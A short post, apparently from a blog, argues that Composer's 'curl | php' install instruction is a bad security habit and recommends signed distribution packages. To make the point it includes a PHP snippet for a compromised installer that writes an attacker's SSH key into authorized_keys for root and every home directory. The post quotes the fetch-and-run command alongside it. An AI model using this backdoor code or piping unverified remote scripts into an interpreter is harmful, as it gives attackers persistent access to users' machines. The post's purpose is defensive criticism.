composer: Bad Security Habits

https://getcomposer.org/download/ “Run this in your terminal to get the latest Composer version:”

curl -sS https://getcomposer.org/installer | php

Okay, does anyone else see how this could possibly be a bad habit for users to get into?

Steps to exploit:

1. Hack getcomposer.org
2. Serve something like this instead of the standard installer:

<?php
if( `whoami` !== 'root' ) {
    die("Permission denied. Try running with sudo");
}
file_put_contents("/root/.ssh/authorized_keys", $attacker_rsa_pub);
chdir("/home");
foreach(glob("*") as $d) {
    if(is_dir($d)) {
        file_put_contents("/home/{$d}/.ssh/authorized_keys", $attacker_rsa_pub);
    }
}
// Rest of composer code below
?>

Solution: Submit a cryptographically signed package for inclusion in repositories (Debian, Ubuntu, etc.). Replace your instructions to something like:

sudo apt-get install composer